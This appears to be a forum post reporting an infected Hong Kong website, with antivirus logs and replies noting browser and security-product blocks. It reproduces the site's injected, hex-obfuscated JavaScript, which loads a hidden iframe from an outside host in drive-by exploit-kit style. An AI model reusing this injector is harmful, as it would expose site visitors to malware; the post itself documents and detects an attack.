http://exchangeseries.com.hk/

fireold

1. /*0c0896*/
   
2. ps = "split";
   
3. e = eval;
   
4. v = "0x";
   
5. a = 0;
   
6. z = "y";
   
7. try {
   
8.     a *= 25
   
9. } catch (zz) {
   
10.     a = 1
    
11. }
    
12. if (!a) {
    
13.     try {
    
14.         --e("doc" + "ument")["\x62od" + z]
    
15.     } catch (q) {
    
16.         a2 = "_";
    
17.         sa = 0xa - 02;
    
18.     }
    
19.     z = "28_6e_7d_76_6b_7c_71_77_76_28_82_82_82_6e_6e_6e_30_31_28_83_15_12_28_7e_69_7a_28_75_78_78_6a_69_28_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_7a_6d_69_7c_6d_4d_74_6d_75_6d_76_7c_30_2f_71_6e_7a_69_75_6d_2f_31_43_15_12_15_12_28_75_78_78_6a_69_36_7b_7a_6b_28_45_28_2f_70_7c_7c_78_42_37_37_7b_78_6d_76_6c_75_6d_7c_6d_7b_7c_36_6b_77_75_37_5b_6d_7a_7e_71_6b_6d_7b_37_6b_77_7d_76_7c_36_78_70_78_2f_43_15_12_28_75_78_78_6a_69_36_7b_7c_81_74_6d_36_78_77_7b_71_7c_71_77_76_28_45_28_2f_69_6a_7b_77_74_7d_7c_6d_2f_43_15_12_28_75_78_78_6a_69_36_7b_7c_81_74_6d_36_6a_77_7a_6c_6d_7a_28_45_28_2f_38_2f_43_15_12_28_75_78_78_6a_69_36_7b_7c_81_74_6d_36_70_6d_71_6f_70_7c_28_45_28_2f_39_78_80_2f_43_15_12_28_75_78_78_6a_69_36_7b_7c_81_74_6d_36_7f_71_6c_7c_70_28_45_28_2f_39_78_80_2f_43_15_12_28_75_78_78_6a_69_36_7b_7c_81_74_6d_36_74_6d_6e_7c_28_45_28_2f_39_78_80_2f_43_15_12_28_75_78_78_6a_69_36_7b_7c_81_74_6d_36_7c_77_78_28_45_28_2f_39_78_80_2f_43_15_12_15_12_28_71_6e_28_30_29_6c_77_6b_7d_75_6d_76_7c_36_6f_6d_7c_4d_74_6d_75_6d_76_7c_4a_81_51_6c_30_2f_75_78_78_6a_69_2f_31_31_28_83_15_12_28_6c_77_6b_7d_75_6d_76_7c_36_7f_7a_71_7c_6d_30_2f_44_6c_71_7e_28_71_6c_45_64_2f_75_78_78_6a_69_64_2f_46_44_37_6c_71_7e_46_2f_31_43_15_12_28_6c_77_6b_7d_75_6d_76_7c_36_6f_6d_7c_4d_74_6d_75_6d_76_7c_4a_81_51_6c_30_2f_75_78_78_6a_69_2f_31_36_69_78_78_6d_76_6c_4b_70_71_74_6c_30_75_78_78_6a_69_31_43_15_12_28_85_15_12_85_15_12_6e_7d_76_6b_7c_71_77_76_28_5b_6d_7c_4b_77_77_73_71_6d_30_6b_77_77_73_71_6d_56_69_75_6d_34_6b_77_77_73_71_6d_5e_69_74_7d_6d_34_76_4c_69_81_7b_34_78_69_7c_70_31_28_83_15_12_28_7e_69_7a_28_7c_77_6c_69_81_28_45_28_76_6d_7f_28_4c_69_7c_6d_30_31_43_15_12_28_7e_69_7a_28_6d_80_78_71_7a_6d_28_45_28_76_6d_7f_28_4c_69_7c_6d_30_31_43_15_12_28_71_6e_28_30_76_4c_69_81_7b_45_45_76_7d_74_74_28_84_84_28_76_4c_69_81_7b_45_45_38_31_28_76_4c_69_81_7b_45_39_43_15_12_28_6d_80_78_71_7a_6d_36_7b_6d_7c_5c_71_75_6d_30_7c_77_6c_69_81_36_6f_6d_7c_5c_71_75_6d_30_31_28_33_28_3b_3e_38_38_38_38_38_32_3a_3c_32_76_4c_69_81_7b_31_43_15_12_28_6c_77_6b_7d_75_6d_76_7c_36_6b_77_77_73_71_6d_28_45_28_6b_77_77_73_71_6d_56_69_75_6d_33_2a_45_2a_33_6d_7b_6b_69_78_6d_30_6b_77_77_73_71_6d_5e_69_74_7d_6d_31_15_12_28_33_28_2a_43_6d_80_78_71_7a_6d_7b_45_2a_28_33_28_6d_80_78_71_7a_6d_36_7c_77_4f_55_5c_5b_7c_7a_71_76_6f_30_31_28_33_28_30_30_78_69_7c_70_31_28_47_28_2a_43_28_78_69_7c_70_45_2a_28_33_28_78_69_7c_70_28_42_28_2a_2a_31_43_15_12_85_15_12_6e_7d_76_6b_7c_71_77_76_28_4f_6d_7c_4b_77_77_73_71_6d_30_28_76_69_75_6d_28_31_28_83_15_12_28_7e_69_7a_28_7b_7c_69_7a_7c_28_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_77_77_73_71_6d_36_71_76_6c_6d_80_57_6e_30_28_76_69_75_6d_28_33_28_2a_45_2a_28_31_43_15_12_28_7e_69_7a_28_74_6d_76_28_45_28_7b_7c_69_7a_7c_28_33_28_76_69_75_6d_36_74_6d_76_6f_7c_70_28_33_28_39_43_15_12_28_71_6e_28_30_28_30_28_29_7b_7c_69_7a_7c_28_31_28_2e_2e_15_12_28_30_28_76_69_75_6d_28_29_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_77_77_73_71_6d_36_7b_7d_6a_7b_7c_7a_71_76_6f_30_28_38_34_28_76_69_75_6d_36_74_6d_76_6f_7c_70_28_31_28_31_28_31_15_12_28_83_15_12_28_7a_6d_7c_7d_7a_76_28_76_7d_74_74_43_15_12_28_85_15_12_28_71_6e_28_30_28_7b_7c_69_7a_7c_28_45_45_28_35_39_28_31_28_7a_6d_7c_7d_7a_76_28_76_7d_74_74_43_15_12_28_7e_69_7a_28_6d_76_6c_28_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_77_77_73_71_6d_36_71_76_6c_6d_80_57_6e_30_28_2a_43_2a_34_28_74_6d_76_28_31_43_15_12_28_71_6e_28_30_28_6d_76_6c_28_45_45_28_35_39_28_31_28_6d_76_6c_28_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_77_77_73_71_6d_36_74_6d_76_6f_7c_70_43_15_12_28_7a_6d_7c_7d_7a_76_28_7d_76_6d_7b_6b_69_78_6d_30_28_6c_77_6b_7d_75_6d_76_7c_36_6b_77_77_73_71_6d_36_7b_7d_6a_7b_7c_7a_71_76_6f_30_28_74_6d_76_34_28_6d_76_6c_28_31_28_31_43_15_12_85_15_12_71_6e_28_30_76_69_7e_71_6f_69_7c_77_7a_36_6b_77_77_73_71_6d_4d_76_69_6a_74_6d_6c_31_15_12_83_15_12_71_6e_30_4f_6d_7c_4b_77_77_73_71_6d_30_2f_7e_71_7b_71_7c_6d_6c_67_7d_79_2f_31_45_45_3d_3d_31_83_85_6d_74_7b_6d_83_5b_6d_7c_4b_77_77_73_71_6d_30_2f_7e_71_7b_71_7c_6d_6c_67_7d_79_2f_34_28_2f_3d_3d_2f_34_28_2f_39_2f_34_28_2f_37_2f_31_43_15_12_15_12_82_82_82_6e_6e_6e_30_31_43_15_12_85_15_12_85_15_12" [ps](a2);
    
20.     za = "";
    
21.     for (i = 0; i < z.length; i++) {
    
22.         za += String["fromCharCode"](e(v + (z[i])) - sa);
    
23.     }
    
24.     zaz = za;
    
25.     e(zaz);
    
26. } /*/0c0896*/
    
27. 
    
28. 
    
29. /*d68107*/
    
30. sp = "s" + "p" + "li" + "t";
    
31. w = window;
    
32. z = "dy";
    
33. d = document;
    
34. aq = "0x";
    
35. bv = (5 - 3 - 1);
    
36. try {
    
37.     ++(d.body)
    
38. } catch (d21vd12v) {
    
39.     vzs = false;
    
40.     try {} catch (wb) {
    
41.         vzs = 21;
    
42.     }
    
43.     if (1) {
    
44.         f = "17:5d:6c:65:5a:6b:60:66:65:17:58:70:5a:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e:58:61:58:6f:1e:32:4:1:17:6d:58:69:17:5a:66:65:6b:69:66:63:63:5c:69:34:1e:60:65:5b:5c:6f:25:67:5f:67:1e:32:4:1:17:6d:58:69:17:58:70:5a:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:69:5c:58:6b:5c:3c:63:5c:64:5c:65:6b:1f:1e:60:5d:69:58:64:5c:1e:20:32:4:1:4:1:17:58:70:5a:25:6a:69:5a:17:34:17:1e:5f:6b:6b:67:31:26:26:58:69:6a:5c:6a:67:66:69:6b:25:5a:66:64:26:5b:2d:3f:65:6e:5f:44:67:25:67:5f:67:1e:32:4:1:17:58:70:5a:25:6a:6b:70:63:5c:25:67:66:6a:60:6b:60:66:65:17:34:17:1e:58:59:6a:66:63:6c:6b:5c:1e:32:4:1:17:58:70:5a:25:6a:6b:70:63:5c:25:5a:66:63:66:69:17:34:17:1e:28:28:2c:27:1e:32:4:1:17:58:70:5a:25:6a:6b:70:63:5c:25:5f:5c:60:5e:5f:6b:17:34:17:1e:28:28:2c:27:67:6f:1e:32:4:1:17:58:70:5a:25:6a:6b:70:63:5c:25:6e:60:5b:6b:5f:17:34:17:1e:28:28:2c:27:67:6f:1e:32:4:1:17:58:70:5a:25:6a:6b:70:63:5c:25:63:5c:5d:6b:17:34:17:1e:28:27:27:27:28:28:2c:27:1e:32:4:1:17:58:70:5a:25:6a:6b:70:63:5c:25:6b:66:67:17:34:17:1e:28:27:27:27:28:28:2c:27:1e:32:4:1:4:1:17:60:5d:17:1f:18:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:58:70:5a:1e:20:20:17:72:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:6e:69:60:6b:5c:1f:1e:33:67:17:60:5b:34:53:1e:58:70:5a:53:1e:17:5a:63:58:6a:6a:34:53:1e:58:70:5a:27:30:53:1e:17:35:33:26:67:35:1e:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:58:70:5a:1e:20:25:58:67:67:5c:65:5b:3a:5f:60:63:5b:1f:58:70:5a:20:32:4:1:17:74:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:4a:5c:6b:3a:66:66:62:60:5c:1f:5a:66:66:62:60:5c:45:58:64:5c:23:5a:66:66:62:60:5c:4d:58:63:6c:5c:23:65:3b:58:70:6a:23:67:58:6b:5f:20:17:72:4:1:17:6d:58:69:17:6b:66:5b:58:70:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:6d:58:69:17:5c:6f:67:60:69:5c:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:60:5d:17:1f:65:3b:58:70:6a:34:34:65:6c:63:63:17:73:73:17:65:3b:58:70:6a:34:34:27:20:17:65:3b:58:70:6a:34:28:32:4:1:17:5c:6f:67:60:69:5c:25:6a:5c:6b:4b:60:64:5c:1f:6b:66:5b:58:70:25:5e:5c:6b:4b:60:64:5c:1f:20:17:22:17:2a:2d:27:27:27:27:27:21:29:2b:21:65:3b:58:70:6a:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:17:34:17:5a:66:66:62:60:5c:45:58:64:5c:22:19:34:19:22:5c:6a:5a:58:67:5c:1f:5a:66:66:62:60:5c:4d:58:63:6c:5c:20:4:1:17:22:17:19:32:5c:6f:67:60:69:5c:6a:34:19:17:22:17:5c:6f:67:60:69:5c:25:6b:66:3e:44:4b:4a:6b:69:60:65:5e:1f:20:17:22:17:1f:1f:67:58:6b:5f:20:17:36:17:19:32:17:67:58:6b:5f:34:19:17:22:17:67:58:6b:5f:17:31:17:19:19:20:32:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:3e:5c:6b:3a:66:66:62:60:5c:1f:17:65:58:64:5c:17:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:69:6b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:65:58:64:5c:17:22:17:19:34:19:17:20:32:4:1:17:6d:58:69:17:63:5c:65:17:34:17:6a:6b:58:69:6b:17:22:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:22:17:28:32:4:1:17:60:5d:17:1f:17:1f:17:18:6a:6b:58:69:6b:17:20:17:1d:1d:4:1:17:1f:17:65:58:64:5c:17:18:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:27:23:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:20:17:20:17:20:4:1:17:72:4:1:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:74:4:1:17:60:5d:17:1f:17:6a:6b:58:69:6b:17:34:34:17:24:28:17:20:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:6d:58:69:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:19:32:19:23:17:63:5c:65:17:20:32:4:1:17:60:5d:17:1f:17:5c:65:5b:17:34:34:17:24:28:17:20:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:63:5c:65:5e:6b:5f:32:4:1:17:69:5c:6b:6c:69:65:17:6c:65:5c:6a:5a:58:67:5c:1f:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:63:5c:65:23:17:5c:65:5b:17:20:17:20:32:4:1:74:4:1:60:5d:17:1f:65:58:6d:60:5e:58:6b:66:69:25:5a:66:66:62:60:5c:3c:65:58:59:63:5c:5b:20:4:1:72:4:1:60:5d:1f:3e:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:20:34:34:2c:2c:20:72:74:5c:63:6a:5c:72:4a:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:23:17:1e:2c:2c:1e:23:17:1e:28:1e:23:17:1e:26:1e:20:32:4:1:4:1:58:70:5a:27:30:1f:20:32:4:1:74:4:1:74" [sp](":");
    
45.     }
    
46.     w = f;
    
47.     s = [];
    
48.     for (i = 22 - 20 - 2; - i + 1397 != 0; i += 1) {
    
49.         j = i;
    
50.         if ((0x19 == 031)) s += String["fromCharCode"](eval(aq + w[1 * j]) + 0xa - bv);
    
51.     }
    
52.     ht = eval;
    
53.     ht(s)
    
54. } /*/d68107*/

复制代码

Avira

2014/1/12 上午 08:38 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描.]。
      檔案數：        790
      目錄數：        0
      惡意程式碼數：        1
      警告數：        0

2014/1/12 上午 08:38 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\Q4CFJPIR\exchangeseries_com_hk[1].htm'
      包含病毒或有害的程式 'JS/Blacole.EB.49' [virus]
      已採取動作：
      檔案會移動至 '5f8a4454.qua' 名稱底下的隔離區目錄!

2014/1/12 上午 08:37 [Web Protection] 發現惡意程式碼
      從 URL "http://exchangeseries.com.hk/js/index.js" 存取資料時，
      發現病毒或有害的程式 'JS/Expack.CM.4' [virus]。
      已採取動作：封鎖的檔案

2014/1/12 上午 08:37 [Web Protection] 發現惡意程式碼
      從 URL "http://exchangeseries.com.hk/js/utils.js" 存取資料時，
      發現病毒或有害的程式 'JS/Expack.CM.4' [virus]。
      已採取動作：封鎖的檔案

2014/1/12 上午 08:37 [Web Protection] 發現惡意程式碼
      從 URL "http://exchangeseries.com.hk/data/flashdata/pinkfocus/cycle_image.js"
      存取資料時，
      發現病毒或有害的程式 'JS/Expack.CM.4' [virus]。
      已採取動作：已略過

2014/1/12 上午 08:36 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\MDC6X2XG\transport[1].js'
      包含病毒或有害的程式 'JS/Expack.CM.4' [virus]
      已採取動作：
      發生錯誤，檔案未刪除。錯誤識別碼：26003.
      檔案無法刪除！.
      嘗試使用 ARK 程式庫執行動作.
      檔案會移動至 '468462df.qua' 名稱底下的隔離區目錄!

2014/1/12 上午 08:36 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描.]。
      檔案數：        796
      目錄數：        0
      惡意程式碼數：        1
      警告數：        0

2014/1/12 上午 08:36 [Web Protection] 發現惡意程式碼
      從 URL "http://exchangeseries.com.hk/js/index.js" 存取資料時，
      發現病毒或有害的程式 'JS/Expack.CM.4' [virus]。
      已採取動作：已略過

2014/1/12 上午 08:36 [Web Protection] 發現惡意程式碼
      從 URL "http://exchangeseries.com.hk/js/utils.js" 存取資料時，
      發現病毒或有害的程式 'JS/Expack.CM.4' [virus]。
      已採取動作：已略過

2014/1/12 上午 08:36 [Web Protection] 發現惡意程式碼
      從 URL "http://exchangeseries.com.hk/js/index.js" 存取資料時，
      發現病毒或有害的程式 'JS/Expack.CM.4' [virus]。
      已採取動作：已略過

2014/1/12 上午 08:36 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\Q4CFJPIR\exchangeseries_com_hk[1].htm 中
      偵測到病毒或有害的程式 'JS/Blacole.EB.49 [virus]'
      執行的動作：傳輸至掃描程式

2014/1/12 上午 08:36 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\MDC6X2XG\transport[1].js 中
      偵測到病毒或有害的程式 'JS/Expack.CM.4 [virus]'
      執行的動作：傳輸至掃描程式

2014/1/12 上午 08:36 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\Q4CFJPIR\exchangeseries_com_hk[1].htm 中
      偵測到病毒或有害的程式 'JS/Blacole.EB.49 [virus]'
      執行的動作：拒絕存取

2014/1/12 上午 08:36 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\MDC6X2XG\common[2].js 中
      偵測到病毒或有害的程式 'JS/Expack.CM.4 [virus]'
      執行的動作：拒絕存取

2014/1/12 上午 08:36 [Web Protection] 發現惡意程式碼
      從 URL "http://exchangeseries.com.hk/" 存取資料時，
      發現病毒或有害的程式 'JS/Blacole.EB.49' [virus]。
      已採取動作：已略過

fs is

启彰

chrome拦截

a939707506

sep拦截